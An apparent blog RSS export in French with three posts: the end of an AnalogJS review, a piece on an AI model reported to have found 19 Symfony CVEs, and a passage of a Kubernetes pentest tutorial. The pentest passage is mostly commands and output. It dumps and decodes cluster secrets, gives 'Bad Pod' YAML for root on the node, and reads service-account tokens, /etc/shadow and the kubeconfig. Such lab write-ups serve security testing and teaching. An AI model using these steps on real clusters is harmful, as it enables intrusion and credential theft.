<p>On croise souvent des projets hybrides (portails, homepages simples exposées avec un dashboard derrière, plateformes SaaS…). AnalogJS permet alors d'éviter de devoir sortir d'Angular ou de multiplier les stacks techniques additionnelles pour un même besoin.</p>
<ul>
<li><strong>Se positionner sur les évolutions modernes de l'écosystème Angular</strong></li>
</ul>
<p>Monter en compétences sur ce type d'outillage permet d'anticiper d'éventuelles évolutions de l'écosystème et de renforcer une certaine crédibilité technique sur des sujets d'architecture front moderne.</p>
<h2>Les limites: ce qu'il faut savoir avant de se lancer</h2>
<p>Avant d'adopter AnalogJS sur un projet, il est important de connaître les limites actuelles. L'outil étant encore "jeune", AnalogJS présente aussi des contraintes qui peuvent nuire à son adoption. Voici les principaux points que j'ai identifiés :</p>
<ul>
<li><strong>Une documentation parfois incomplète</strong></li>
</ul>
<p>Sur certains cas d'usage avancés, il faut aller directement lire le code source du framework pour débloquer certaines mises en place compliquées.</p>
<ul>
<li><strong>Une communauté plus petite</strong></li>
</ul>
<p>Contrairement à Nuxt ou Next.js, AnalogJS dispose d'une communauté plus réduite que ses concurrents. Ce qui signifie concrètement qu'il y a moins de ressources disponibles en ligne, moins de retours d'expérience et que les temps de résolution de problèmes sont plus longs.</p>
<ul>
<li><strong>Des breaking changes encore fréquents</strong></li>
</ul>
<p>Entre les différentes versions, ces changements peuvent surprendre sur un projet où la stabilité long terme est une contrainte forte.</p>
<ul>
<li><strong>Un risque de friction en équipe</strong></li>
</ul>
<p>Si les développeurs ne sont pas familiers avec l'approche adoptée par les meta-frameworks, il y a un risque de ralentissement de l'onboarding au lieu d'augmenter la productivité.</p>
<ul>
<li><strong>Pertinence limitée pour certains projets Angular</strong></li>
</ul>
<p>La complexité supplémentaire introduite par AnalogJS est difficile à justifier quand une SPA Angular classique répond déjà au besoin, que ce soit lors d'une migration d'Angular vers AnalogJS ou tout autre projet sans besoin SSR / SEO.</p>
<h2>Conclusion</h2>
<p>AnalogJS s'inscrit dans une évolution logique de l'écosystème Angular qui cherche à <strong>améliorer la Developer Experience et les architectures hybrides.</strong> En s'inspirant des méta-frameworks modernes, il simplifie la mise en place d'outillages natifs là où l'implémentation côté Angular peut s'avérer plus complexe.</p>
<p>Pour autant, <strong>il ne faut pas voir AnalogJS comme une solution universelle</strong>. Son adoption implique l'ajout d'une <strong>surcouche structurante</strong>, qui peut apporter de la valeur dans certains cas mais aussi, à l'inverse, ajouter de la complexité dans d'autres contextes. Le choix d'AnalogJS dépend alors du contexte projet dans lequel il s'insère : visibilité SEO/Web, performance, structuration full-stack ou encore l'organisation et les connaissances des équipes techniques.</p>
<p>Avec ce recul, <strong>AnalogJS m'apparaît davantage comme un levier d'architecture à adopter dans des cas précis de problématiques projet</strong>, plutôt que comme un nouveau standard Angular. La vraie valeur de cet outil réside dans la capacité des équipes techniques à savoir quand l'utiliser, mais aussi quand ne pas l'utiliser. Cette capacité de discernement technique est cruciale pour faire la différence entre une tendance et une véritable décision d'architecture.</p>
]]></content:encoded></item><item><title><![CDATA[19 CVE en une journée sur Symfony : quand l'IA s'invite dans la chasse aux vulnérabilités]]></title><description><![CDATA[Un pic inhabituel qui interpelle
Récemment, une notification a fait tiquer plus d'un développeur PHP : 19 CVE publiées le même jour sur le framework Symfony. Pour un projet aussi mature et aussi audit]]></description><link>https://niji.tech/19-cve-en-une-journ-e-sur-symfony-quand-l-ia-s-invite-dans-la-chasse-aux-vuln-rabilit-s</link><guid isPermaLink="true">https://niji.tech/19-cve-en-une-journ-e-sur-symfony-quand-l-ia-s-invite-dans-la-chasse-aux-vuln-rabilit-s</guid><category><![CDATA[mythos]]></category><category><![CDATA[AI]]></category><category><![CDATA[Symfony]]></category><category><![CDATA[CVE]]></category><dc:creator><![CDATA[alexandre HUBERT]]></dc:creator><pubDate>Wed, 01 Jul 2026 14:25:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a17e7fabadcd8afcb612db0/1bf61354-46d3-43a0-b995-3d1c9aa3a560.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3><strong>Un pic inhabituel qui interpelle</strong></h3>
<p>Récemment, une notification a fait tiquer plus d'un développeur PHP : <strong>19 CVE publiées le même jour sur le framework Symfony</strong>. Pour un projet aussi mature et aussi audité, c'est un volume sortant clairement de l'ordinaire. Symfony n'est pas du genre à concentrer autant de vulnérabilités sur une seule journée — habituellement, le framework remonte quelques CVE espacées dans l'année, traitées proprement par une équipe sécurité bien rodée.</p>
<p>Alors, que s'est-il passé ?</p>
<h3>Symfony, cobaye d'une expérimentation IA</h3>
<p>La réponse se trouve dans <a href="https://symfony.com/blog/claude-mythos-audited-symfony-and-found-19-vulnerabilities">un article publié sur le blog officiel de Symfony par Javier Eguiluz</a> : ces 19 vulnérabilités n'ont pas été découvertes par un chercheur humain ni par les outils habituels d'analyse statique. Elles ont été remontées par une IA encore confidentielle baptisée <strong>Claude Mythos Preview</strong>, développée par Anthropic.</p>
<p>Le framework Symfony a en quelque sorte servi de banc d'essai grandeur nature à ce nouveau modèle. Le résultat parle de lui-même.</p>
<h3>Claude Mythos, c'est quoi exactement ?</h3>
<p>D'après les éléments publics qui circulent (notamment via <a href="https://www.orangecyberdefense.com/fr/insights/blog/entre-mythos-et-gpt-54-cyber-les-llm-prennent-le-chemin-de-la-cybersecurite-automatisee">un billet d'Orange Cyberdefense</a>) :</p>
<ul>
<li><p><strong>Claude Mythos Preview</strong> est une IA non publique d'Anthropic, présentée comme capable de détecter et d'exploiter des vulnérabilités logicielles critiques, y compris des failles « zero-day ».</p>
</li>
<li><p>Sa particularité affichée : enchaîner de façon autonome l'exploitation de plusieurs vulnérabilités pour atteindre un objectif — typiquement, l'accès à une ressource numérique cible.</p>
</li>
<li><p>Le modèle <strong>n'a pas encore fait l'objet d'une évaluation tierce indépendante.</strong> Les capacités annoncées le sont par son éditeur, ce qui appelle à la prudence.</p>
</li>
<li><p>Mythos s'inscrit dans une lignée déjà amorcée par d'autres modèles ayant montré des aptitudes à la découverte de failles, et marque une étape vers une nouvelle génération d'outils.</p>
</li>
</ul>
<p>Et Anthropic n'est pas seul sur le créneau : OpenAI aurait également un modèle dans la même veine, désigné sous le nom de <strong>GPT-5.4-Cyber</strong>. La compétition est lancée.</p>
<h3>Faut-il vraiment s'en méfier ? Ou est-ce un coup de com' ?</h3>
<p>C'est la question qui mérite d'être posée honnêtement. Le calendrier d'annonces aussi tonitruantes, dans un contexte où Anthropic se prépare à des étapes capitalistiques majeures, invite à la prudence. Une IA capable de trouver 19 failles en une journée sur un framework de référence, ça fait évidemment de très bons titres. Et un excellent argument marketing.</p>
<p>Pour autant, on ne peut pas balayer le sujet d'un revers de main pour deux raisons :</p>
<ol>
<li><p><strong>Les CVE existent bel et bien</strong>. Les 19 failles sont publiées, référencées, et l'équipe Symfony — qui n'est pas réputée pour valider à la légère — les a reconnues. Que la découverte vienne d'une IA ou d'un humain, le résultat est tangible.</p>
</li>
<li><p><strong>La tendance de fond est réelle</strong>. Que ce soit Mythos, GPT-5.4-Cyber ou les futurs concurrents qui ne manqueront pas d'arriver, les LLM spécialisés en cybersécurité progressent vite. Ignorer ce mouvement serait imprudent.</p>
</li>
<li><p><strong>Et surtout, le volume</strong>. D'après <a href="https://www.usine-digitale.fr/intelligence-artificielle/anthropic/cybersecurite-claude-mythos-a-trouve-plus-de-10-000-failles-critiques-un-mois-apres-son-lancement-y-compris-dans-les-systemes-les-plus-importants-au-monde.H7GOEW6UVNG5VPKA762DKBT7HM.html">un article de L'Usine Digitale</a>, Claude Mythos aurait identifié <strong>plus de 10 000 failles critiques</strong> en un mois seulement depuis son lancement, y compris dans certains des systèmes les plus stratégiques au monde. Si ce chiffre se confirme — et même en supposant un taux de faux positifs significatif — l'ordre de grandeur change tout : on ne parle plus d'une démo réussie sur un framework PHP, mais d'un changement d'échelle dans la découverte de vulnérabilités.</p>
</li>
</ol>
<p>Les 19 CVE de Symfony, vues sous cet angle, ne sont qu'un échantillon visible d'un phénomène bien plus vaste. La vraie question n'est donc probablement pas « est-ce du marketing ? » mais plutôt « <strong>qu'est-ce que ça change concrètement pour nous ?</strong> ».</p>
<h3>Ce qui va nous tomber dessus, court et moyen terme</h3>
<p>À <strong>court terme</strong>, il faut se préparer à un phénomène simple : <strong>une vague de failles à vérifier, qualifier, prioriser et corriger</strong>. Si 19 CVE sur Symfony donnent déjà du fil à retordre, imaginez l'effet de 10 000 vulnérabilités remontées à travers l'écosystème logiciel mondial en l'espace de quelques semaines.</p>
<p>Côté équipes ops et dev, ça signifie :</p>
<ul>
<li><p>Des cycles de patching plus serrés et plus fréquents.</p>
</li>
<li><p>Une pression accrue sur la gestion des dépendances (Composer, npm, Maven, etc.).</p>
</li>
<li><p>Une charge de qualification importante : toutes les failles remontées par une IA ne se valent pas, et certaines peuvent être des faux positifs ou des cas exploitables uniquement dans des conditions improbables.</p>
</li>
</ul>
<p>À <strong>moyen et long terme</strong>, et selon le coût, la performance et l'accessibilité de ces IA, leur intégration dans les chaînes de construction logicielle (CI/CD, SAST, DAST) va probablement devenir la norme — au même titre qu'un linter ou qu'un scanner de dépendances aujourd'hui.</p>
<h3>Le maillon qui ne change pas : l'humain</h3>
<p>Une IA peut remonter des centaines de chemins suspects dans une codebase. Elle ne sait pas, en revanche, <strong>distinguer ce qui est exploitable en production de ce qui reste théorique, ni arbitrer l'ordre dans lequel traiter les corrections</strong> en fonction du contexte métier, des dépendances et des contraintes de production.</p>
<p>Ce n'est d'ailleurs pas une limite conjoncturelle que les modèles vont effacer à la prochaine version. Les frameworks d'agentic coding comme BMAD ou Superpowers le formalisent explicitement : la sécurité applicative n'est pas une compétence déléguée à l'IA — elle reste ancrée dans des outils d'analyse statique dédiés (SAST, linters, scanners de dépendances) dont l'IA n'est pas un substitut mais un complémentaire. Ce cloisonnement n'est pas un aveu de faiblesse ; c'est une conception saine du rôle de chaque outil.</p>
<p>Ce travail d'analyse et de jugement reste donc humain. Et il ne tient pas sur les épaules d'un seul profil : il repose sur la <strong>coopération</strong> entre développeurs, équipes sécurité, mainteneurs open source et chercheurs. C'est ce maillage qui transforme un signal brut — « voici 10 000 vulnérabilités possibles » — en décisions concrètes et hiérarchisées.</p>
<p>Autrement dit : plus les IA produiront du volume, plus la valeur du jugement humain et de la collaboration entre équipes augmentera, pas l'inverse.</p>
<h3>Conclusion</h3>
<p>Coup de com' avant une entrée en bourse ? Réelle percée technologique ? Probablement un peu des deux.</p>
<p>Mais il y a une réalité à ne pas perdre de vue : le gouvernement américain a émis une directive de contrôle des exportations suspendant tout accès à Fable 5 et Mythos 5 pour l'ensemble des ressortissants étrangers — et par effet de bord, Anthropic a dû désactiver ces modèles pour l'ensemble de ses clients afin d'assurer sa conformité. La raison invoquée ? Un potentiel jailbreak — dont Anthropic conteste d'ailleurs la gravité. <strong>Du jour au lendemain, un outil sur lequel vous auriez construit votre chaîne de détection peut disparaître</strong>, pour des raisons totalement extérieures à votre contexte. C'est vrai de tous les LLMs — mais dans le domaine de la sécurité informatique, <strong>cette instabilité n'est pas acceptable</strong>. Un outil dont on peut vous couper l'accès par décret ne peut pas être un maillon critique de votre dispositif de défense.</p>
<p>Ce qui est certain, en revanche, <strong>c'est que la dynamique est lancée</strong>. Les Mythos, GPT-Cyber et compagnie ne vont pas disparaître — ils vont se multiplier, s'améliorer, et finir par s'intégrer aux outils du quotidien. La vraie préparation, pour les équipes tech, ce n'est pas de débattre de la sincérité des annonces d'Anthropic ou d'OpenAI. C'est :</p>
<ul>
<li><p><strong>Industrialiser la veille CVE</strong> et le patching.</p>
</li>
<li><p><strong>Renforcer les processus de triage</strong> humain des vulnérabilités remontées par des outils automatisés.</p>
</li>
<li><p><strong>Cultiver la coopération entre équipes</strong> — parce que c'est encore là que se trouve le vrai garde-fou.</p>
</li>
</ul>
<p>Tout va vite. Très vite. Et qu'on aime ou non ces nouveaux outils, on va devoir apprendre à vivre — et à travailler — avec.</p>
<p>Sources :</p>
<ul>
<li><p>Javier Eguiluz, « <a href="https://symfony.com/blog/claude-mythos-audited-symfony-and-found-19-vulnerabilities">Claude Mythos audited Symfony and found 19 vulnerabilities</a>e Mythos audited Symfony and found 19 vulnerabilities », blog Symfony.</p>
</li>
<li><p>Orange Cyberdefense, « <a href="https://www.orangecyberdefense.com/fr/insights/blog/entre-mythos-et-gpt-54-cyber-les-llm-prennent-le-chemin-de-la-cybersecurite-automatisee">Entre Mythos et GPT-5.4-Cyber : les LLM prennent le chemin de la cybersécurité automatisée</a> ».</p>
</li>
<li><p>L'Usine Digitale, « Cybersécurité : Claude Mythos a trouvé plus de 10 000 failles critiques un mois après son lancement ».</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 3/3]]></title><description><![CDATA[L'article précédent couvrait la reconnaissance depuis un pod compromis et les techniques d'évasion vers le nœud. À ce stade, l'attaquant dispose de credentials avec un accès API : un kubeconfig admin ]]></description><link>https://niji.tech/de-l-exposition-r-seau-au-cluster-admin-pentest-d-un-cluster-kubernetes-3-3</link><guid isPermaLink="true">https://niji.tech/de-l-exposition-r-seau-au-cluster-admin-pentest-d-un-cluster-kubernetes-3-3</guid><category><![CDATA[k8s]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Marc LE PECH]]></dc:creator><pubDate>Wed, 24 Jun 2026 15:12:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/2fe4edbc-0a85-4865-96d2-8fac5e677a4a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>L'article précédent couvrait la reconnaissance depuis un pod compromis et les techniques d'évasion vers le nœud. À ce stade, l'attaquant dispose de credentials avec un accès API : un kubeconfig admin récupéré sur le master, un token de Service Account système trouvé sur le nœud, ou un accès direct au datastore.</p>
<p>Cet article couvre l'exploitation de cet accès API : cartographier ses droits et ceux des autres, explorer les ressources accessibles (secrets, configmaps, pods), déployer des pods malveillants pour s'élever en privilèges, et persister dans le cluster. La différence avec l'article précédent est le point de vue : on n'est plus enfermé dans un conteneur, on attaque le cluster via son API.</p>
<h2>Reconnaissance des droits et du périmètre</h2>
<p>Avant toute action, l'attaquant doit comprendre l'étendue de ses droits. Un token peut donner un accès cluster-admin complet ou être limité à un seul namespace avec des permissions minimales.</p>
<h3>Identifier son périmètre : namespaces accessibles</h3>
<p>La première question est : est-on limité à un namespace ou a-t-on une vue cluster-wide ?</p>
<pre><code class="language-bash">$ kubectl get namespaces

NAME              STATUS   AGE
cilium-secrets    Active   6d22h
default           Active   6d22h
ingress-nginx     Active   5d20h
kube-node-lease   Active   6d22h
kube-public       Active   6d22h
kube-system       Active   6d22h
monitoring        Active   5d21h
</code></pre>
<p>Si la commande fonctionne, on a une visibilité sur l'ensemble des namespaces du cluster. Si elle échoue (<code>Forbidden</code>), on est probablement limité à un seul namespace, celui indiqué dans le token JWT ou le kubeconfig. Dans ce cas, on teste manuellement les namespaces courants :</p>
<pre><code class="language-bash"># Tester des namespaces courants si "get namespaces" est interdit
$ for ns in default kube-system kube-public monitoring ingress-nginx production staging; do
    kubectl auth can-i list pods -n \(ns 2&gt;/dev/null &amp;&amp; echo "→ accès à \)ns"
done
</code></pre>
<h3>kubectl auth can-i : auditer ses propres droits</h3>
<p><code>kubectl auth can-i --list</code> affiche toutes les permissions du token courant dans un namespace donné. L'article précédent l'utilisait pour un premier diagnostic rapide. Ici on va plus loin : on itère sur chaque namespace pour identifier les différences de droits.</p>
<pre><code class="language-bash"># Droits dans chaque namespace
\( for ns in \)(kubectl get ns --no-headers -o custom-columns=":metadata.name"); do
    echo "=== $ns ==="
    kubectl auth can-i --list -n \(ns 2&gt;/dev/null | grep -v "selfsubject\|^\)\|Resources\|well-known\|openid\|openapi\|version\|healthz\|livez\|readyz\|/api"
    echo
done
</code></pre>
<p>Le résultat révèle si les droits varient selon le namespace. Par exemple, un SA peut avoir <code>get secrets</code> dans <code>default</code> mais pas dans <code>kube-system</code>. On cherche spécifiquement les verbes dangereux :</p>
<table>
<thead>
<tr>
<th>Verbe</th>
<th>Ressource</th>
<th>Impact</th>
</tr>
</thead>
<tbody><tr>
<td><code>get/list</code></td>
<td><code>secrets</code></td>
<td>Lire les credentials de tout le namespace</td>
</tr>
<tr>
<td><code>create</code></td>
<td><code>pods</code></td>
<td>Déployer un pod malveillant (voir Bad Pods)</td>
</tr>
<tr>
<td><code>create</code></td>
<td><code>pods/exec</code></td>
<td>Exec dans un pod existant → voler son token</td>
</tr>
<tr>
<td><code>create/patch</code></td>
<td><code>rolebindings</code></td>
<td>S'attribuer un rôle plus puissant</td>
</tr>
<tr>
<td><code>escalate</code></td>
<td><code>roles/clusterroles</code></td>
<td>Créer un rôle avec plus de droits que les siens</td>
</tr>
<tr>
<td><code>impersonate</code></td>
<td><code>users/serviceaccounts</code></td>
<td>Agir en tant qu'un autre compte</td>
</tr>
<tr>
<td><code>*</code></td>
<td><code>*.*</code></td>
<td>Accès total (cluster-admin)</td>
</tr>
</tbody></table>
<p>Les vérifications ciblées permettent de confirmer rapidement :</p>
<pre><code class="language-bash"># Vérifications ciblées
$ kubectl auth can-i get secrets -n default
yes

$ kubectl auth can-i create pods -n kube-system
no

$ kubectl auth can-i list secrets --all-namespaces
yes
</code></pre>
<p>Un verbe souvent sous-estimé : <code>list</code>. Sur les secrets, <code>list</code> retourne le contenu complet de tous les secrets du namespace, même sans le verbe <code>get</code>. C'est le cas du SA <code>ingress-nginx</code> sur notre cluster, qui a <code>list watch</code> sur les secrets dans tous les namespaces.</p>
<h3>kubectl-who-can : cartographier les droits des autres</h3>
<p><code>kubectl auth can-i</code> répond à "qu'est-ce que JE peux faire ?". La question inverse est tout aussi importante : "QUI peut faire X ?". C'est ce que fait <a href="https://github.com/aquasecurity/kubectl-who-can">kubectl-who-can</a> d'Aqua Security.</p>
<pre><code class="language-bash"># Installation
$ wget -q https://github.com/aquasecurity/kubectl-who-can/releases/latest/download/kubectl-who-can_linux_x86_64.tar.gz
$ tar xzf kubectl-who-can_linux_x86_64.tar.gz
$ mv kubectl-who-can /usr/local/bin/
</code></pre>
<p>Les requêtes clés pour un attaquant :</p>
<pre><code class="language-bash"># Qui peut lire les secrets ? → cibles prioritaires
$ kubectl who-can get secrets --all-namespaces
CLUSTERROLEBINDING                          SUBJECT                            TYPE
cluster-admin                               system:masters                     Group
system:controller:clusterrole-aggregation   clusterrole-aggregation-controller ServiceAccount

# Qui peut créer des pods ? → pivoter vers Bad Pods
$ kubectl who-can create pods -n default

# Qui peut exec dans des pods ? → voler des tokens
$ kubectl who-can create pods/exec -n kube-system

# Qui peut modifier les RBAC ? → escalade de privilèges
$ kubectl who-can create rolebindings --all-namespaces
</code></pre>
<p>Le résultat donne une cartographie des SA à forte valeur. Si on compromet l'un d'entre eux (via un token trouvé sur un nœud, dans un secret, ou en exec dans leur pod), on hérite de leurs droits.</p>
<h3>Synthèse : choisir son vecteur</h3>
<p>Selon les droits identifiés :</p>
<ul>
<li><p><strong>get/list secrets ou configmaps</strong> → lire les ressources accessibles (section suivante)</p>
</li>
<li><p><strong>create pods</strong> → déployer un pod malveillant pour accéder au nœud (section Bad Pods)</p>
</li>
<li><p><strong>create rolebindings</strong> → s'attribuer un rôle plus puissant (section Escalade RBAC)</p>
</li>
<li><p><strong>create pods/exec</strong> → exec dans des pods existants pour voler leurs tokens (section Mouvement latéral)</p>
</li>
<li><p><strong>droits minimaux</strong> → chercher les combos : <code>create pods</code> sans <code>get secrets</code> permet quand même de monter un secret dans un pod qu'on contrôle</p>
</li>
</ul>
<h2>Revue des ressources accessibles</h2>
<h3>Secrets</h3>
<p>Les Secrets Kubernetes sont encodés en base64, pas chiffrés. Avec le verbe <code>get</code> ou <code>list</code>, on les lit en clair :</p>
<pre><code class="language-bash">$ kubectl get secrets --all-namespaces
NAMESPACE       NAME                              TYPE                          DATA   AGE
ingress-nginx   ingress-nginx-admission           Opaque                        3      5d20h
kube-system     cilium-ca                         Opaque                        2      6d22h
kube-system     hubble-relay-client-certs         kubernetes.io/tls             3      6d22h
kube-system     hubble-server-certs               kubernetes.io/tls             3      6d22h
kube-system     k3s-master.node-password.k3s      k3s.cattle.io/node-password   1      6d22h
kube-system     k3s-serving                       kubernetes.io/tls             2      6d22h
kube-system     k3s-worker-01.node-password.k3s   k3s.cattle.io/node-password   1      6d22h
kube-system     k3s-worker-02.node-password.k3s   k3s.cattle.io/node-password   1      6d22h
kube-system     sh.helm.release.v1.cilium.v1      helm.sh/release.v1            1      6d22h

# Lire un secret spécifique et décoder la valeur
$ kubectl get secret cilium-ca -n kube-system -o jsonpath='{.data.ca\.crt}' | base64 -d
-----BEGIN CERTIFICATE-----
MIIBdTCCARugAwIBAgIQ...
-----END CERTIFICATE-----

# Extraire tous les secrets d'un namespace en une commande
$ kubectl get secrets -n kube-system -o json | \
    jq '.items[] | {name: .metadata.name, data: (.data // {} | map_values(@base64d))}'
</code></pre>
<p>Les types à surveiller :</p>
<ul>
<li><p><code>Opaque</code> : credentials applicatifs (mots de passe BDD, clés API, tokens)</p>
</li>
<li><p><code>kubernetes.io/tls</code> : certificats TLS (CA, clés privées). Permettent du MITM ou de l'impersonation</p>
</li>
<li><p><code>kubernetes.io/service-account-token</code> : tokens SA legacy (pré-1.24), non expirants</p>
</li>
<li><p><code>helm.sh/release.v1</code> : releases Helm, contiennent les valeurs du chart en clair, souvent avec des mots de passe</p>
</li>
<li><p><code>k3s.cattle.io/node-password</code> : spécifique K3s, mots de passe des nœuds</p>
</li>
</ul>
<h3>ConfigMaps</h3>
<p>Les ConfigMaps ne sont pas chiffrés non plus, et contiennent souvent des données sensibles mal placées : URLs de connexion avec credentials, fichiers de configuration, clés d'API.</p>
<pre><code class="language-bash">$ kubectl get configmaps --all-namespaces
NAMESPACE         NAME                                                   DATA   AGE
kube-system       cilium-config                                          152    6d22h
kube-system       coredns                                                2      6d22h
kube-system       hubble-relay-config                                    1      6d22h
kube-system       local-path-config                                      4      6d22h
ingress-nginx     ingress-nginx-controller                               0      5d20h
...
</code></pre>
<p>Le ConfigMap <code>coredns</code> est particulièrement intéressant : il révèle la configuration DNS du cluster et la correspondance nœuds/IPs :</p>
<pre><code class="language-bash">$ kubectl get configmap coredns -n kube-system -o yaml
data:
  Corefile: |
    .:53 {
        kubernetes cluster.local in-addr.arpa ip6.arpa { pods insecure }
        hosts /etc/coredns/NodeHosts { ttl 60 }
        prometheus :9153
        forward . /etc/resolv.conf
    }
  NodeHosts: |
    10.25.11.200 k3s-master
    10.25.11.201 k3s-worker-01
    10.25.11.202 k3s-worker-02
</code></pre>
<p>Le ConfigMap <code>cilium-config</code> (152 entrées) expose toute la configuration réseau du cluster : CIDR des pods (<code>10.0.0.0/8</code>), taille des masques (<code>/24</code>), mode de routage, etc.</p>
<h3>Cartographie du cluster</h3>
<p>Avec un accès en lecture, on peut dresser une carte complète du cluster :</p>
<pre><code class="language-bash"># Pods en cours d'exécution et leur répartition sur les nœuds
$ kubectl get pods -A -o wide
NAMESPACE       NAME                                        READY   STATUS    NODE
default         victim-pod                                  1/1     Running   k3s-worker-01
ingress-nginx   ingress-nginx-controller-5d4f7b984b-zgvxw   1/1     Running   k3s-worker-02
kube-system     cilium-wqqnp                                1/1     Running   k3s-worker-01
kube-system     local-path-provisioner-546dfc6456-fbk7k     1/1     Running   k3s-worker-01
kube-system     metrics-server-c8774f4f4-vp4mr              1/1     Running   k3s-worker-02
monitoring      nginx-66686b6766-pdqvz                      1/1     Running   k3s-worker-02
...

# Nœuds avec versions et IPs
$ kubectl get nodes -o wide
NAME            STATUS   ROLES           VERSION        INTERNAL-IP    OS-IMAGE                         CONTAINER-RUNTIME
k3s-master      Ready    control-plane   v1.34.4+k3s1   10.25.11.200   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1
k3s-worker-01   Ready    &lt;none&gt;          v1.34.4+k3s1   10.25.11.201   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1
k3s-worker-02   Ready    &lt;none&gt;          v1.34.4+k3s1   10.25.11.202   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1

# Service Accounts existants
$ kubectl get serviceaccounts -A --no-headers | grep -v default
ingress-nginx     ingress-nginx                     0   5d20h
ingress-nginx     ingress-nginx-admission           0   5d20h
kube-system       cilium                            0   6d22h
kube-system       cilium-envoy                      0   6d22h
kube-system       cilium-operator                   0   6d22h
kube-system       coredns                           0   6d22h
kube-system       hubble-relay                      0   6d22h
kube-system       hubble-ui                         0   6d22h
kube-system       local-path-provisioner-service-account   0   6d22h
kube-system       metrics-server                    0   6d22h
...
</code></pre>
<p>Cette cartographie (pods, nœuds, SA) croisée avec les résultats de <code>who-can</code> donne une vue d'ensemble : on sait quels SA ont des droits intéressants, sur quels nœuds tournent leurs pods, et donc quels nœuds cibler pour récupérer leurs tokens.</p>
<h2>Déploiement de pods malveillants</h2>
<p>Si le token compromis permet de créer des pods (directement ou via un Deployment, DaemonSet, CronJob), l'attaquant peut déployer un pod avec des attributs dangereux pour accéder au nœud sous-jacent. C'est le même principe que les misconfigurations vues dans l'article précédent, mais cette fois l'attaquant crée le pod lui-même.</p>
<h3>La taxonomie Bad Pod</h3>
<p><a href="https://bishopfox.com/blog/kubernetes-pod-privilege-escalation">Bishop Fox</a> a classifié 8 niveaux de pods malveillants selon les attributs de sécurité exploités :</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Attributs</th>
<th>Impact</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>privileged + hostPID + hostNetwork + hostPath</td>
<td>Contrôle total du nœud</td>
</tr>
<tr>
<td>2</td>
<td>privileged + hostPID</td>
<td>Contrôle total via nsenter</td>
</tr>
<tr>
<td>3</td>
<td>privileged</td>
<td>Montage du disque du nœud</td>
</tr>
<tr>
<td>4</td>
<td>hostPath (/)</td>
<td>Lecture/écriture du système de fichiers hôte</td>
</tr>
<tr>
<td>5</td>
<td>hostPID</td>
<td>Visibilité des processus hôte</td>
</tr>
<tr>
<td>6</td>
<td>hostNetwork</td>
<td>Accès au réseau du nœud</td>
</tr>
<tr>
<td>7</td>
<td>hostIPC</td>
<td>Mémoire partagée entre processus</td>
</tr>
<tr>
<td>8</td>
<td>Rien</td>
<td>Limité au réseau interne et metadata cloud</td>
</tr>
</tbody></table>
<p>On commence toujours par le plus permissif et on descend si Pod Security Admission bloque.</p>
<h3>Everything allowed</h3>
<p>Le pod "tout permis" donne un accès root complet au nœud :</p>
<pre><code class="language-yaml">apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
</code></pre>
<pre><code class="language-bash">$ kubectl apply -f everything-allowed.yaml
pod/everything-allowed created

$ kubectl exec -it everything-allowed -- chroot /host bash
root@k3s-worker-01:/# id
uid=0(root) gid=0(root)

# On est root sur le nœud, accès au kubelet, aux tokens SA, à tout
root@k3s-worker-01:/# find /var/lib/kubelet/pods/ -name token -path "*/kube-api-access-*" 2&gt;/dev/null
/var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-rnvqj/token
/var/lib/kubelet/pods/a3b2c1d4-.../volumes/kubernetes.io~projected/kube-api-access-x7k2m/token
...
</code></pre>
<h3>hostPath only</h3>
<p>Le plus réaliste en pratique. Pod Security Admission peut bloquer <code>privileged: true</code> mais laisser passer <code>hostPath</code> si la politique est mal configurée :</p>
<pre><code class="language-yaml">apiVersion: v1
kind: Pod
metadata:
  name: hostpath-pod
spec:
  containers:
  - name: reader
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
</code></pre>
<pre><code class="language-bash">$ kubectl exec -it hostpath-pod -- sh
# Lire les tokens SA des pods du nœud
/ # cat /host/var/lib/kubelet/pods/6718e893-.../kube-api-access-rnvqj/token

# Lire le kubeconfig si on est sur le master
/ # cat /host/etc/rancher/k3s/k3s.yaml

# Lire les credentials système
/ # cat /host/etc/shadow
</code></pre>
<h3>hostNetwork only</h3>
<p>Utile quand hostPath est bloqué. Donne accès au réseau du nœud au lieu du réseau des pods :</p>
<pre><code class="language-yaml">apiVersion: v1
kind: Pod
metadata:
  name: hostnet-pod
spec:
  hostNetwork: true
  containers:
  - name: net
    image: alpine
    command: ["sleep", "infinity"]
</code></pre>
<p>Depuis ce pod, on est sur le réseau du nœud. Ça ouvre plusieurs vecteurs.</p>
<p><strong>Services locaux du nœud</strong></p>
<p>Des services écoutent sur <code>127.0.0.1</code> et ne sont normalement pas accessibles depuis les pods :</p>
<pre><code class="language-bash"># Kubelet API (peut exposer les pods du nœud)
$ curl -sk https://127.0.0.1:10250/pods | jq '.items[].metadata.name'

# kube-proxy metrics
$ curl -s http://127.0.0.1:10249/metrics | head

# Metrics server, cAdvisor, etc.
$ curl -s http://127.0.0.1:10255/pods
</code></pre>
<p>Le kubelet sur <code>127.0.0.1:10250</code> est particulièrement intéressant : s'il accepte les requêtes anonymes, on peut exec dans n'importe quel pod du nœud sans passer par l'API server.</p>
<p><strong>SSRF vers le metadata endpoint cloud</strong></p>
<p>Sur les cloud providers (AWS, GCP, Azure), chaque nœud a accès au service de métadonnées de l'instance via <code>169.254.169.254</code>. Depuis un pod normal (réseau des pods), cette IP est souvent bloquée. Avec <code>hostNetwork: true</code>, on contourne ce filtrage :</p>
